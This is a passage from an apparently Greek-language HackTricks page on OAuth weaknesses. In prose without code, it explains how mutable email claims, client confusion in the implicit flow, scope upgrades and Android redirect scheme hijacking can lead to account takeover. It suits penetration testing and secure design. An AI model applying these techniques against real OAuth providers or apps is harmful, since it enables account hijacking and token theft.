  • Επαναλάβετε με διαφορετικά schemes για να χαρτογραφήσετε το πλήρες attack surface (π.χ., ms-excel:, data:text/html,, custom protocol handlers) και να επιδείξετε cross-platform reach.

OAuth providers Race Conditions

Εάν η πλατφόρμα που δοκιμάζετε είναι ένας OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, το πεδίο sub ταυτοποιεί μοναδικά έναν χρήστη, αλλά η μορφή του διαφέρει ανά Authorization Server. Για να τυποποιήσουν την αναγνώριση χρηστών, κάποιοι clients χρησιμοποιούν emails ή user handles. Ωστόσο, αυτό είναι επικίνδυνο επειδή:

  • Κάποιοι Authorization Servers δεν διασφαλίζουν ότι αυτές οι ιδιότητες (όπως το email) παραμένουν immutable.
  • Σε ορισμένες υλοποιήσεις—όπως “Login with Microsoft”—ο client βασίζεται στο πεδίο email, το οποίο είναι user-controlled by the user in Entra ID και δεν είναι επαληθευμένο.
  • Ένας attacker μπορεί να εκμεταλλευτεί αυτό δημιουργώντας τη δική του Azure AD οργάνωση (π.χ., doyensectestorg) και χρησιμοποιώντας την για να εκτελέσει Microsoft login.
  • Αν και το Object ID (αποθηκευμένο στο sub) είναι immutable και ασφαλές, η εξάρτηση από ένα mutable πεδίο email μπορεί να επιτρέψει account takeover (π.χ., hijacking ενός λογαριασμού όπως victim@gmail.com).

Client Confusion Attack

Σε ένα Client Confusion Attack, μια εφαρμογή που χρησιμοποιεί το OAuth Implicit Flow αποτυγχάνει να επαληθεύσει ότι το τελικό access token έχει παραχθεί συγκεκριμένα για το δικό της Client ID. Ένας attacker στήνει έναν δημόσιο ιστότοπο που χρησιμοποιεί το OAuth Implicit Flow της Google, ξεγελώντας χιλιάδες χρήστες να κάνουν login και συλλέγοντας access tokens που προορίζονται για τον attacker’s site. Εάν αυτοί οι χρήστες έχουν επίσης λογαριασμούς σε έναν άλλο ευάλωτο ιστότοπο που δεν επικυρώνει το Client ID του token, ο attacker μπορεί να επαναχρησιμοποιήσει τα συλλεγμένα tokens για να μιμηθεί τα θύματα και να αναλάβει τους λογαριασμούς τους.

Scope Upgrade Attack

Η Authorization Code Grant μορφή περιλαμβάνει ασφαλή server-to-server επικοινωνία για τη μεταφορά δεδομένων χρηστών. Ωστόσο, εάν ο Authorization Server εμπιστεύεται α implicitly ένα παράμετρο scope στο Access Token Request (μια παράμετρος που δεν ορίζεται στο RFC), μια κακόβουλη εφαρμογή θα μπορούσε να αναβαθμίσει τα προνόμια ενός authorization code ζητώντας υψηλότερο scope. Αφού παραχθεί το Access Token, ο Resource Server πρέπει να το επαληθεύσει: για JWT tokens αυτό περιλαμβάνει τον έλεγχο της JWT signature και την εξαγωγή δεδομένων όπως client_id και scope, ενώ για random string tokens ο server πρέπει να κάνει query στον Authorization Server για να ανακτήσει τις λεπτομέρειες του token.

Redirect Scheme Hijacking

Στις mobile OAuth υλοποιήσεις, οι εφαρμογές χρησιμοποιούν custom URI schemes για να λαμβάνουν redirects με Authorization Codes. Ωστόσο, επειδή πολλαπλές εφαρμογές μπορούν να εγγράψουν το ίδιο scheme σε μια συσκευή, η υπόθεση ότι μόνο ο νόμιμος client ελέγχει το redirect URI καταρρίπτεται. Στο Android, για παράδειγμα, ένα Intent URI όπως com.example.app:// oauth συλλαμβάνεται βάσει του scheme και των προαιρετικών φίλτρων που ορίζονται στο intent-filter μιας εφαρμογής. Δεδομένου ότι η intent resolution του Android μπορεί να είναι ευρεία—ειδικά αν μόνο το scheme έχει οριστεί—ένας attacker μπορεί να εγγράψει μια κακόβουλη εφαρμογή με ένα προσεκτικά crafted intent filter για να αρπάξει τον authorization code. Αυτό μπορεί να επιτρέψει account takeover είτε μέσω αλληλεπίδρασης χρήστη (όταν πολλές εφαρμογές είναι επιλέξιμες για την διαχείριση του intent) είτε μέσω bypass τεχνικών που εκμεταλλεύονται υπερβολικά συγκεκριμένα φίλτρα, όπως περιγράφεται στο assessment flowchart της Ostorlab.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks